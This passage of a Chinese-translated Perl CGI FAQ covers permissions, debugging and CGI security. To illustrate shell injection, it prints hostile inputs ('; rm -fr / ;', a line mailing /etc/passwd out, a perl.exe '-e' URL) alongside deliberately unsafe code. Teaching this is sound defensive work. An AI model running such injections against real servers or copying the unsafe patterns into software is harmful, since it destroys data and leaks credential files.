--------------------------------------------------------------------------- 
 
Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的? 
 
server 通常是设定成去执行放在 ``cgi-bin'' 目录底下的 CGI 程式。不过, 
server 管理者同时也可以在设定档中设定 aliases,让所有含某些副档名(如 
..cgi 
、.pl)的 scripts 都能执行*。 
 
     【译者】设定 CGI aliases 和副档名固然很方便,但 server 管理者须注 
     意到相关的安全问题。 
 
--------------------------------------------------------------------------- 
 
Q3.2: 什麽是档案使用权限?怎样改? 
 
档案权限是根据使用者识别代号(又称 
uid),以及他们所属的团体来决定是否赋与 
使用者读、写,和执行某档案的权利。您可使用 chmod 
这个指令去修改档案的使用 
权限。例如: 
 
     % ls -ls form.cgi 
       1 -rwx------  1 shishir       974 Oct 31 22:15 form.cgi* 
 
此一档案的权限为 
0700(八进制),意味著没有人(档案所有人除外)能够读取、 
写进,或执行这个档案。我们可以用 chmod 这个指令去修改它的权限: 
 
     % chmod 755 form.cgi 
     % ls -ls form.cgi 
       1 -rwxr-xr-x  1 shishir       974 Oct 31 22:15 form.cgi* 
 
这样一来,权限就变了。现在和 ``shishir'' 
在同一个团体的使用者,还有其他任 
何的使用者都有权利去读取和执行这个档案了。 
 
如欲知 chmod 指令各八进制数码所代表的含意,请参阅 chmod 
manpages的说明。 
 
--------------------------------------------------------------------------- 
 
Q3.3: Perl 应该安装在哪里才可以执行它? 
 
Perl 可以安装在系统上任何一个角落!您唯一要注意的是 server 
不能在chroot 的 
环境下跑,否则它便无法跑 perl 
解译器。换言之,系统管理者可以把根目录改变, 
让 ``/'' 指到另一个目录,而不是实际真正的根目录(``/'')。 
 
--------------------------------------------------------------------------- 
 
Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息? 
 
以下几种情形会触发这个错误讯息: 
 
   * 如果 script 开头的地方没有 ``#!/usr/local/bin/perl'' 这个指到 
Perl 解 
     译器的标头,或者是指到解译器(或 library 档)的路径错误。 
   * 如果 script 输出的第一行是一个不正确的标头(即 ``Content-Type: 
     text/html'' ),或者是该标头後面没有跟著一个空行。 
   * 如果您的 script 有句法上的错误。您的 scripts 
都应在指令列先跑跑看才 
     是。 
 
--------------------------------------------------------------------------- 
 
Q3.5: 我试著打开一个档案,想把资料储存在里头,但是 open() 
的指令失败了。到 
底是怎麽搞的? 
 
一般说来,HTTP server 是以 
``nobody''、``www'',或其他这类权限低的使用者的 
身份来跑的。因为这个缘故,您打算在其中制造新档案的目录,对 server 
跑的使用 
者 ID 必须要是可写(writable)才行。 
 
为了确定起见,您每次都应该先检查 open 这个指令送回的结束状态(return 
status 
),看看 open 有没有成功。 
 
     open(FILE, "/abc/data.txt") 
         || error("Could not open file /abc/data.txt"); 
             . 
             . 
             . 
     sub error { 
         my($message) = @_; 
 
         print <<End_of_Error; 
     Content-type: text/html 
     Status: 500 CGI Error 
     <HTML> 
     <HEAD><TITLE>CGI Error</TITLE></HEAD> 
     <BODY> 
     <H1>Oops! Error</H1> 
     <HR> 
     $message 
     <HR> 
     </BODY> 
     </HTML> 
     End_of_Error 
     } 
 
 
 
4.0 -程式设计疑难杂症 
 
--------------------------------------------------------------------------- 
 
Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例? 
 
其实做这个很容易。您的 CGI script 必须能做到这两件事: 
 
  1. 将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 
URL-编码起来 
     (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart 
MIME资料)。 
  2. 开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 
资料写过去。 
 
     我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail: 
 
          $cgi_form = new CGI::Form; 
          $from     = $cgi_form->param('from'); 
          $name     = $cgi_form->param('name'); 
          $to       = $cgi_form->param('to'); 
          $subject  = $cgi_form->param('subject'); 
          $message  = $cgi_form->param('message'); 
          open SENDMAIL, "| /usr/bin/sendmail -t -n"; 
          print SENDMAIL <<End_of_Mail; 
          From: $from <$name> 
          To: $to 
          Reply-To: $from 
          Subject: $subject 
          $message 
          End_of_Mail 
 
     有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以 
``nobody'' 
 
这个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信 
     的时後)。加上 ``Reply-To'' 的信头这个问题便解决了。 
 
     网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail: 
 
          【译者】gateway 在此指送 email 的 CGI 程式 
 
          open MAIL, "| mail -s 'Subject' $to"; 
                                            ^ 
                                            | 
                                            +-- 
可能会出问题的漏洞!!! 
 
     如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 
     (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 
输入了以下 
     的资料: 
 
          ; rm -fr / ; 
 
     那麽您的麻烦可大了*。 
 
          【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。 
          另一个危险的符号是 ``&''。 
 
          在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得 
          视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权 
          限使用者身份跑的原因)。至少那些由 CGI 程式制造出来,但又没 
          有备份的档案,是真的要跟它们永别了。 
 
               ; mail [email protected] </etc/passwd 
 
          那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一 
          个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装 
          shadow-password 的 UNIX 系统来说,实在不太好玩。如果 server 
          错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为 
          远方的 cracker 甚至可以让这个 CGI 的 email script 给他送 
          /etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。 
 
 
---------------------------------------------------------------------- 
 
     Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 
     `` URL'',这样 user 填入的资料就可以寄给我了? 
 
     很不幸地, 
的指令并不是所有的浏览器都支援。如果您在档案中用了它 
     的话,会限制了那些使用没有支援  的浏览器的人,让他们无法送 
     mail 给您*。 
 
          【译者】尽管如此,您或许不会在乎那占极少数比例的使用者 
          (Netscape 、 IE,和 lynx 等浏览器都支援  )。 
 
 
---------------------------------------------------------------------- 
 
     Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 
     Windows 及 NT?我的 Perl CGI 
程式能不能在这些平台之间互相移植呢?能不 
     能很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 
Windows/Mac 
     上做。我要如何在我自己的机器上测试写好的 CGI scripts*? 
 
     Perl 已经被移植到上述所有的平台上了。因此,您的 Perl CGI 
程式照理应不 
     难移植。但如果您使用到一些 UNIX 
上的程式,那麽您的程式可能会不好移 
 
植。如果您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有 
     问题。 
 
          【译者】原 FAQ 并未回答最後这个问题。要在 Windows/OS2/Mac 等 
          非 UNIX 平台上测式您的 scripts ,您可以使用 CGI.pm (支援以 
          上所有平台),配合 Q4.19 中提示的除错技巧,或在自己的机器上 
          安装 HTTP server 软体。如此就不用辛苦的连上主机去测式了。 
 
 
---------------------------------------------------------------------- 
 
     Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN 
(标准输入), 
     和 STDOUT (标准输出)各是连到何处? 
 
     在 CGI 环境下,STDERR 会指向 server 的错误讯息档 (error 
log)。您可以 
     善加利用这个特性,把除错的讯息写到 
STDERR,然後您便可藉查看错误讯息档 
     来帮您除错。 
 
     STDIN 和 STDOUT 则都和浏览器相连。实际上,STDIN 连的是 server。 
server 
     会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。 
 
     您也可以用将 STDERR 「复制」到 STDOUT 
的方法来抓错误讯息。这应该在 
     script 靠前头的地方做(但应在您输出合适的 HTTP 标头之後): 
 
          open STDERR, ">&STDOUT"; 
 
     这会将所有的错误讯息都转送到 STDOUT (即浏览器)去。 
 
 
---------------------------------------------------------------------- 
 
     Q4.5: 如何写计数器? 
 
     计数器一类的程式相当流行。其实计数器的原理很简单,不过是: 
        o 用一个档案去储存资料。 
        o 每当有人光临网站,增大档案中所计的数字。 
 
     以下是一个简单的计数器的实例: 
 
          #!/usr/local/bin/perl -w 
          $counter = "/home/shishir/counter.dat"; 
          print "Content-type: text/plain", "\n\n"; 
          open(FILE, $counter) || die "Cannot read from the counter 
file.\n"; 
          flock FILE, 2; 
          $visitors = <FILE>; 
          flock FILE, 8; 
          close FILE; 
          open(FILE, ">$counter") || die "Cannot write to counter 
file.\n"; 
          flock FILE, 2; 
          print FILE $visitors; 
          flock FILE, 8; 
          close FILE; 
 
     现在您可以在 HTML 档案中用 SSI (Server Side Include; 伺服端插入)* 
的方 
     式来显示该计数器: 
 
          【译者】SSI 是 server 所提供的一项功能,可将动态资料,例如日 
          期和时间,或计数器显示等,在客户请求一网页时即时加入该文件 
          中。支援 SSI 的 servers 包括了 NCSA 
          (<http://hoohoo.ncsa.uiuc.edu>)、Apache 
          (<http://www.apache.org/>),和Netscape Enterprise Server 
 
(<http://home.netscape.com/comprod/server_central/product/enterprise/>) 
          等。 SSI 固然是一项便利的设计,但如过份滥用,不但会减低 
          server 性能,更可能招来安全上的危机。 
 
          您是第 
          <!--#exec cgi="/cgi-bin/counter.pl--> 
          位光临本站的客人。 
 
 
---------------------------------------------------------------------- 
 
     Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML 
标签从一份文件中删除? 
 
     以下这个简单的 regular expression 可用来去除 HTML 标签*: 
 
          【译者】 
            1. 要让这个 regular expression 跨行执行,您必须先将您的 
               script 由预设的按行执行模式 (line mode) 改为按段执行模 
               式 (paragraph mode)。您可以在指令列以: 
 
               perl -00 -we '...' 
 
               的方式;或是在 script 中以: 
 
               #!/usr/bin/perl -00 
 
               或 
 
               $/ = ""; 
 
               的方式来设定按段执行模式。 
            2. 除非您需要对欲删除的 HTML 标签中的内容做进一步的处理或 
               利用,否则本例中最外围的一对括弧可去掉。 
 
          $line =~ s/<(([^ >]|\n)*)>//g; 
 
     详细的相关资料,请看 Tom [Christiansen] 的 striphtml 程式 
 
(<ftp://perl.com/perl/scripts/striphtml>),这个程式同时也收录在他的 
     tour of perl5 regexps 
(<http://perl.com/perl/all_about/regexps.html>) 
     讲义中。 
 
 
---------------------------------------------------------------------- 
 
     Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式? 
 
     您可以从 HTTP_USER_AGENT 这个环境变数得知使用者所用的浏览器。 
 
     【摘自 WWW FAQ】 
 
     您的 CGI script 
可以利用五个重要的环境变数来帮忙辨识使用者的身份。 
 
        * HTTP_FROM 
这个环境变数理论上应设为使用者的email地址。但是许多浏览 
 
器完全不加以设定【即不支援】,而大部份支援这个变数的浏览器又让使 
          用者自由设定这个值。因此,建议读者顶多拿它来做为 email form 
中回 
          信地址的预设值。 
 
        * REMOTE_USER 这个变数唯有当 script 
在安全认证的保护下执行时才会被 
          设定。从 AUTH_TYPE 
这个变数可以知道所用的认证方法是属於哪一个类 
          型。REMOTE_USER 
则会含有正接受认证的使用者的名字。要注意的是, 
          REMOTE_USER 
只有在使用安全认证的时候才会被设定,而且不是所有的 
          servers 都支援。在 NCSA server 
底下,如果认证所使用的传输方式没 
          有列入 access.conf 档中(也就是说,应使用 <Limit GET 
POST>,而不是 
          仅仅用预设的 <Limit GET>),认证可能会出人意外地失败。 
 
        * REMOTE_IDENT 如果 server 能连接上客户端的 IDENT 
server,它会将这 
          个变数设成远方使用者的身份。但由於向IDENT server 
查询的动作太花 
          时间,大部份的 servers 
都把这项功能关掉。更何况,客户端的机器是 
          否会回应查询,又是否会诚实以对,都是无法确定的。 
 
        * REMOTE_HOST 
        * 
这个变数的设定值并不包括远端使用者的真实身份,但是会提供使用者正 
          用来连线的机器名称,只要 server 
能找得出来。由於我们无法确切得知 
 
使用者的真实身份【请看前一个环境变数的说明】,有的时候使用可确认 
          的位址来替代,不失为一个可行的变通方法。在 server 
查不到远端的机 
          器名称,或者是为增加 server 
的处理速度而将这个查询功能关掉的情况 
          下,这个变数是空的;请看底下 REMOTE_ADDRESS 
一项的说明。还有,别 
          忘了您可能会发现所有使用同一个 proxy (代理人) server 
的使用者的 
          机器名都变成了那台 proxy server 的名字。 
 
        * REMOTE_ADDR 
这个变数的设定值并不包括远端使用者的真实身份,但是会 
          提供使用者正用来连线的机器的资料。REMOTE_ADDR 会包含客户端的 
IP 
 
位址,以用点隔开的十进位数字的形式来表示。由於我们无法确切得知使 
          用者的真实身份 
[请看前一个环境变数的说明],有的时候使用可确认的 
          位址来替代,不失为一个可行的变通方法。和前一项 REMOTE_HOST 
不同 
 
的是,这个变数一定会被设定。还有,别忘了您可能会发现所有使用同一 
          个 proxy (代理人) server 的使用者的机器位址都变成了那台 
proxy 
          server 的位址。 
 
     【摘录自 WWW FAQ 部份完】 
 
 
---------------------------------------------------------------------- 
 
     Q4.8: 人家看得到我的 Perl CGI 
程式吗?如果是这样的话,那不就让他们知道 
     我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来? 
 
     如果您将您的 server 设成对所有在一个特定目录(如 
cgi-bin)下的档案,或 
     者是具有某些副档名(如 ``.pl''、``.tcl''、``.sh'')的档案一律都以 
CGI 
     程式看待,那麽 server 只会执行这些程式。至於使用者是无法看到 
script 
     本身的内容的。 
 
     但是如果您允许人们看您的 script (譬如把它放到 HTML 
文件的根目录下), 
 
那麽只要是这个程式没有安全上的漏洞,这并不能算是安全问题。如果这个程 
 
式真的有安全上的破绽而您又允许使用者看这个程式,那麽他们便有机可乘, 
     进而利用这个弱点。 
 
          【译者】上面这段原文作者是就远方的客户端的使用者而言。和这个 
          主题相关的一 个常问问题是: 
 
          Q: 我的 Perl CGI scripts 
必须将权限设为全世界可读。可是这样一 
          来,和我同 
机器有帐户的人,只要知道我的程式名称,就可以浏览我 
          的 Perl 程式的内容;尤 其当其中牵涉到密码的问题时。 
 
          A: 至少有两个解决方法,一个简单,一个复杂: 
 
          简单的方法是,请您的系统管理者(如果不是您自己的话),将您的 
          CGI scripts 及密码档(如果您选择将密码存放在另一个档案中的 
          话)的所有者设成 Web server 跑的使用者(最常见的是使用者 
          nobody ;使用群 nogroup 或 nobody), 然後将 CGI scripts 
的使 
          用权限设定成 550 (-r-xr-x---),密码档的权限设成 440 
          (-r--r-----)。如此一来,一方面您的程式得以执行,而且其他同机 
          器上的 使用者也没有办法偷看到您的程式和密码。 
 
          比较复杂的解决方法是先挑个难破的密码将整个程式加密起来,然後 
          再使用 Filter::decrypt 这个模组在临执行前将其解开,在此不多 
          说。有兴趣的读者请看 Filter::decrypt 的使用说明;此外新的 
          perl FAQ 第三部分中这一段:``How can I hide the source for 
my 
          Perl program?'' ,大家也可参考。 
 
 
---------------------------------------------------------------------- 
 
     Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗? 
 
     不需要。您的 CGI scripts 可以使用 server 
和文件根目录之外的任何档案, 
     除非 server 是在一个 chroot 的环境下执行。 
 
 
---------------------------------------------------------------------- 
 
     Q4.10: 
我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有 
     一个 TYPE="password" 不是就是拿来做这个的吗? 
 
     No! form 的介面中有一个 ``password'' 
的栏位,但是您不应该拿它来处理任 
     何机密性的资料。不该这麽做的原因是因为所有的 form 资料(包括 
     ``password'' 栏) 都是以纯文字形式,而非以加密形式由浏览器送至 
server。 
 
     如果您想要安全地传送资料,那麽您需要使用具有安全功能的 
server,例如 
     Netscape 的 Commerce Server 
 
(<http://home.netscape.com/comprod/products/iapps/platform.html>)*。 
 
          【译者】Apache SSL ,例如 Stronghold 版 
          (<http://stronghold.c2.net>),同样具有这个功能。 
 
 
---------------------------------------------------------------------- 
 
     Q4.11: 我要如何产生专门替 Netscape 
设计的网页,以别於世上其他的浏览 
     器? 
 
     您可以透过 HTTP_USER_AGENT 这个环境变数在您的 CGI script 
中得知是否 
     Netscape 正在执行您的 script。以下为一例: 
 
          $browser = $ENV{'HTTP_USER_AGENT'}; 
          if ($browser =~ /Mozilla/) { 
              # 
              # Netscape 
              # 
          } else { 
              # 
              # Non Netscape 
              # 
          } 
 
 
---------------------------------------------------------------------- 
 
     Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对? 
 
 
这是由於标准输出的产生方式通常是先累积相当的资料再输出(buffered)。要 
     让输出的资料以正确的顺序显示,您必须藉由 $| 这个变数的设定将 
buffering 
     的特性关掉。 
 
 
---------------------------------------------------------------------- 
 
     Q4.13: 我听说 Netscape 会支援 Java*。这是不是说我现在得弃 
Perl,改 
     Java 了?是不是该这麽做? 
 
          【译者】原 FAQ 已有相当一段时间未更新。这句话现在应该改作 
          「Netscape 和 IE 两大浏览器都已支援 Java」。 
 
     不、不、不。Java 和 CGI 的概念完全不同。CGI 是在 server 
端执行,而 
     Java则是在 client 端执行。有些东西(如动画)可藉由使用 Java 
而得到较好 
     的效果。但您可继续使用 perl 来发展 server 端的应用程式。 
 
     如果您需要有关 Java 进一步的资料,底下列了几个文件您可以去看看*: 
 
        * 升阳公司的 Java 文件 (<http://java.sun.com>) 
        * Tom C.所写的 Java uber Alles(Java 的种种) 
        * Java, the Illusion(Java 幻像) 
 
          【译者】後面这两篇文章对 Java 及这个热潮作了很严厉的批判。本 
          FAQ 作者 Tom C. 的 Java uber Alles 中的论点主要著重於技术层 
          面。Tom 对 Java 的态度或许代表了不少 Perl 阵营人仕的心声。 
 
 
---------------------------------------------------------------------- 
 
     Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样? 
 
     您可以透过 %ENV 这个关连阵列来读取环境变数。以下这个简单的 script 
会把 
     所有的环境变数印出来(排好顺序): 
 
          #!/usr/local/bin/perl -w 
          print "Content-type: text/plain", "\n\n"; 
 
          foreach $key (sort keys %ENV) { 
              print $key, " = ", $ENV{$key}, "\n"; 
          } 
          exit 0; 
 
 
很不幸的,有些环境变数会被某些浏览器忽略掉。譬如,有些浏览器就不设定 
     HTTP_REFERER。 
 
---------------------------------------------------------------------- 
 
     Q4.15: 为什麽我输出的资料被搅乱了(如 ``b < a'' 会被破坏掉)? 
 
     如果您送的 MIME 类型是 HTML 的话,您必须「跳脱」 (escape) 
某些符号, 
     如 ``<''、``&anp;'',及 ``>'',否则浏览器会以为它是 HTML 
【标签】。 
 
     您必须使用以下格式来跳脱特殊字元: 
 
          &#ASCII 代码; 
 
     您可以在指令列执行这个简单的 script,便可得到非字母数字性字元 
(non 
     alpha-numeric characters) 所对应的 ASCII 码: 
 
          #!/usr/local/bin/perl -w 
          print '请输入字串: '; 
          chop($string = <STDIN>); 
          $string =~ s/([^\w\s])/sprintf("&#%d;", ord($1))/ge; 
          print '跳脱过的字串是: ', "$string\n"; 
          exit 0; 
 
 
---------------------------------------------------------------------- 
 
     Q4.16: 为什麽我的Perl CGI 
程式可以由指令列,却无法从浏览器去执行? 
 
     最可能的原因是权限的问题。别忘了,您的 server 可能是以 
``nobody''、 
 
``www'',或其他权限很低的帐户身份来执行的。因此,除非它有足够的权限, 
     否则是无法执行您的 script 的。 
 
---------------------------------------------------------------------- 
 
     Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中? 
 
     这又是权限在作怪!server 
除非有足够的权限否则是无法将资料写进某目录下 
     的某档案里去的。 
 
     您应该养成习惯检查 open 指令递回的错误状态 (error status): 
 
          print "Content-type: text/plain\n\n"; 
          . 
          . 
          . 
          open(FILE, ">/some/dir/some.file") || 
              print '无法写进档案: ', "$!\n"; 
          . 
          . 
          . 
 
 
---------------------------------------------------------------------- 
 
     Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的 
form? 
 
     您可以用 CGI::MiniSvr 这个 module 
来维持【记住】几次不同的连线之间的状 
     态资料。 
 
     或者,您可以制做一系列的动态文件,在彼此之间相互传递一个期间代码 
     (session ID),此代码可以以询问 
(query)、额外路径,或隐藏式栏位等形式存 
     在*。 
 
          【译者】CGI.pm 会替您把这部份(维持状态)做好 (用上述的原理 
          ),故使用 CGI.pm 可自动享受这项功能,不需要自己去做。这又多 
          了一个该使用 CGI.pm 的理由。 
 
 
---------------------------------------------------------------------- 
 
     Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错? 
 
     CGI 程式不容易除错。您可以藉著手动设定环境变数来模拟 server: 
 
          setenv HTTP_USER_AGENT "Mozilla/2.0b6"       (csh) 
 
          或 
 
          export HTTP_USER_AGENT = "Mozilla/2.0b6"     (ksh, bash) 
 
     要模拟 POST 请求,您可以把资料先放进一个档案里,然後把它 pipe 
到您的程 
     式去: 
 
          cat data.file | some_program.pl 
 
     或者您可以用 CGI.pm 来帮您除错。假设您有一个像下面这样的 
script,它会 
     把所有您传给它的索引/设定值对应资料 (key/value pairs) 
都列印出来。 
 
          #!/usr/local/bin/perl -w 
          use CGI; 
          $cgi = new CGI; 
          print $cgi->header; 
          print $cgi->start_html("Simple CGI.pm Program"); 
          print "<H1>Simple CGI.pm Program</H1>\n"; 
          print "<HR >"; 
          print '以下所列的是您传送的设定值:'; 
          print $cgi->dump; 
          exit 0; 
 
     这个 script 不会在乎您是透过 GET、POST,或 ISINDEX 
请求,或者是由指令 
 
列、标准输入,或文字档将资料传送给它。为了方便除错,我们就直接从指令 
     列传一些资料给它吧: 
 
          % simple.cgi first=shishir last=gundavaram document='CGI\ 
FAQ' 
 
          或 
 
          % simple.cgi "first=shishir&last=gundavaram&document='CGI\ 
FAQ'" 
 
     在第二个例子中,整个字串周围必须加引号("),否则 shell 看到 ``&'' 
这个 
     符号会误解。好,接下来是从标准输入来除错的方法: 
 
          % simple.cgi 
          (waiting for standard input) 
          first=shishir 
          last=gundavaram 
          document=CGI\ FAQ 
          ^D 
 
     当然,您也可以先用一个档案来储存资料,然後再做输入转向,像这样: 
 
          % simple.cgi < form.data 
 
     您也可以用 CGI Lint 
(即将出版)。它能达到相同的功效。另外,它也能帮忙 
     检查有无安全问题,不当使用 open(),以及不正确的 HTTP 标头等。 
 
 
---------------------------------------------------------------------- 
 
     Q4.20: 如果不靠<FORM>标签,要如何叫出 Perl CGI 程式? 
 
     您可以直接去打开该 CGI 程式的 URL: 
 
          http://some.machine/cgi-bin/your_program.pl 
 
     您也可以在文件中使用连结的方式,例如: 
 
     <A HREF="">http://some.machine/cgi-bin/your_program.pl"> 
     要试试我的CGI程式请在这里点一下</A> 
 
 
---------------------------------------------------------------------- 
 
     Q4.21: 要如何避免旁人不先填栏位就执行我的 
form?他们为什麽一直不断这麽 
     做? 
 
     这些人栏位完全空白就去执行 form 是因为他们把这个 form 的 URL 
储存起来 
     【储存到书签里面】的关系。当他们下次叫出这个 form 
的时候,这个请求就会 
     变成是一个空的 GET (而非 POST 或填有资料的 GET)。 
 
 
您可以先检查所有栏位中的资料,如果其中有栏位留白的话,您可以送回一个 
     ``No Content'' 的状态属性*。以下是一例(假设关连阵列 %form 
中含有您 
     form 的资料): 
 
          【译者】状态码 204 的属性已由 HTTP 0.9 
          (<http://www.w3.org/pub/WWW/Protocols/HTTP/HTTP2.html>) 的 
          ``No Response'' 变为 HTTP 1.0 
          (<ftp://ds.internic.net/rfc/rfc1945.txt>) 和 HTTP 1.1 
          (<ftp://ds.internic.net/rfc/rfc2068.txt>) 中的 ``No 
          Content'' 了。 
 
          $error = 0; 
          foreach $value (values %form) { 
               $value =~ s/\s//g; 
               $error = 1 unless  $value; 
          } 
          if ($error) { 
              print "Content-type: text/plain\n"; 
              print "Status: 204 No Content\n\n"; 
              print '除非您的浏览器不支援状态码 204 
,否则您不该看到这部份', 
                    "\n"; 
          } else { 
              # 
              # Process Data Here 
              # 
          } 
 
 
---------------------------------------------------------------------- 
 
     Q4.22: 那些server 回应码 (server response codes) 
 
(<http://www.w3.org/hypertext/WWW/Protocols/HTTP/HTRESP.html>)是干什麽 
     用的?有什麽意义? 
 
     CGI 程式可以传送 server 然後 server 
会把它转送给浏览器。例如:假设您 
     想送``No Content'' 
(意思是告诉浏览器不要再重新下载该网页),那麽您得 
     送一个 204 的回应码(见上例)。 
 
 
---------------------------------------------------------------------- 
 
     Q4.23: 为什麽 print "Location: http://host/page.html\n" 不 
work?又为 
     什麽它只 work 一次,但随後的转向就都弄错了呢? 
 
     CGI 程式只能送一个 Location 标头。还有,如果您要 server 
做转向的动作 
     您就不该送 MIME 类别。譬如,以下的例子是错误的示范,尽管在有些 
servers 
     上行的通: 
 
          #!/usr/local/bin/perl -w 
          . 
          . 
          . 
          print "Content-type: text/plain\n" 
          print "Location: http://some.machine/some.doc\n\n""; 
 
 
---------------------------------------------------------------------- 
 
     Q4.24: 要如何让 server 在每个 HTML 
网页的底部都自动加上一个:「最近更 
     新日期: ...」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI 
程式 
     的日期要如何取得? 
 
     如果您是透过 CGI 
以动态方式来产生您的文件,那麽要插入一个时间标记非常 
     简单。以下是一例(仅适用於 Perl 5): 
 
          $last_updated = localtime; 
          print '最近更新日期: ',"$last_updated\n"; 
 
     或者是: 
 
          require "ctime.pl"; 
          $last_updated = &ctime(time); 
          print '最近更新日期: ', "$last_updated\n"; 
 
     甚至像这样: 
 
          chop($date = `/usr/local/bin/date`); 
          print '最近更新日期: ', "$last_updated\n"; 
 
     您可以用 SSI 来达到这个效果,像这样: 
 
          <--#echo var="LAST_MODIFIED"--> 
 
 
---------------------------------------------------------------------- 
 
     Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 
shell 
     就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 
做这类的事不 
     是好得多吗?那用 C 呢? 
 
 
每一个语言都有其长处和短处。相信这句话您听过很多次了。所以一切全看您要 
     做的是什麽而定。如果您预期正准备写的 CGI 
程式每个钟头会有几千几万人次 
     连去使用,那麽您应该选用 C 或 
C++来写。如果您求快的话(指发展所花费的 
     时间而言),那麽 Perl 是正确的选择! 
 
     一般说来,您应避免用 shell 来做任何形式的 CGI 程式设计,因为 
shell 在 
     先天上容易产生安全问题。 
 
 
---------------------------------------------------------------------- 
 
 
 
 
     5.0 -安全 
 
 
---------------------------------------------------------------------- 
 
     Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 
写的来得安全? 
 
     这个问题的答案是: CGI 
程式先天上就不安全,不管它是用那个语言写成的*。 
 
          【译者□ 
          WWW 及 CGI 操作安全 FAQ 
 
(<)">http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html">) 
          中问题第 31 对此有深入的探讨。 
 
---------------------------------------------------------------------- 
 
     Q5.2:我该特别留意哪些安全事项? 
 
     绝对不要对 shell 暴露任何 form 资料。底下这几项通通都是安全漏洞: 
 
        * open(COMMAND, "/usr/ucb/finger $form_user"); 
 
        * system("/usr/ucb/finger $form_user"); 
 
        * @data = `usr/ucb/finger $form_user`; 
 
 
话虽如此,在上面的第二种写法中,系统安全可藉著改变参数传送的方式而得以 
     改善。也就是将参数由字串方式传送(shell 
会先解译),改为序列方式传 
     送。 
 
          system("/usr/ucb/finger", $form_user); 
 
     您同时应该阅读: 
 
        * 由 Lincoln Stein 所著,一份很完整的 WWW 及 CGI 操作安全 FAQ 
 
(<http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html>) 
 
        * Paul Phillips 所著,CGI 安全 FAQ 
          (<http://www.cerf.net/~paulp/cgi-security/safe-cgi.txt>) 
 
 
---------------------------------------------------------------------- 
 
     Q5.3:为什麽大家都说 
     http://bigidiot.abuse-me.com/perl.exe?foo.pl 
     这样很危险?会有多糟? 
 
     极度危险!想想看如果我这麽做会发生什麽事: 
 
 
http://bigidiot.abuse-me.com/cgi-bin/perl.exe?-e+'format:%20c' 
 
     现在您同意了吧?避免这个恶梦发生的方法: 
 
        * 将 perl.exe 执行档由 ``cgi-bin'' 移到 server 
根目录以外的目录里 
          去。 
        * 在 ``cgi-bin'' 里用批次档 (batch) script 来叫出您的 CGI 
script。 
 
     以下是一例。假设您的 CGI script 叫做 ``sample.pl'' 而您的批次档叫 
     ``simple.bat'': 
 
          @echo off 
          c:\dos_perl\perl.exe 
c:\netscape\ns-home\docs\cgi-bin\simple.pl 
 
     现在,您可以做: 
 
          <A HREF="/cgi-bin/simple.bat">Click Here</A> 
 
 
---------------------------------------------------------------------- 
 
 
Q5.4:要如何在程式中安全地使用逆向撇号(backticks,"`",位於键盘左上 
     角)?这麽做: 
     @ans = `grep'$user_field' some.file`; 
     是不是真的不安全? 
 
     是的!这非常危险!试想,如果 $user_field 含有这样的内容会有什麽後 
     果: 
 
          ; rm -fr / ; 
 
     要达到相同的效果,一个比较安全的做法是*: 
 
          if (open GREP, "-|") { 
              @ans = <GREP>; 
          } else { 
              exec("/usr/local/bin/grep", $user_field, "some.file") 
                  || die "Error exec'ing command", "\n"; 
          } 
          close GREP; 
 
          【译者】如果读者对以上 open GREP, "-|"部份的句法有疑问,可 
          以参阅 perlipc manpages 中 Safe Pipe Opens一节的说明。 
 
 
---------------------------------------------------------------------- 
 
     Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞? 
 
     不!这不是个安全漏洞。但是如果您用 eval 指令在执行期 (runtime) 
去评估 
     这个叙述,那麽,它会变成一个安全死角。例如这种做法可能很危险: 
 
          foreach $regexp (@all_regexps) { 
              eval "foreach (\@data) { push(\@matches, \$_) if 
m|$regexp|o; }"; 
          } 
 
 
----------------------------------------------------------------------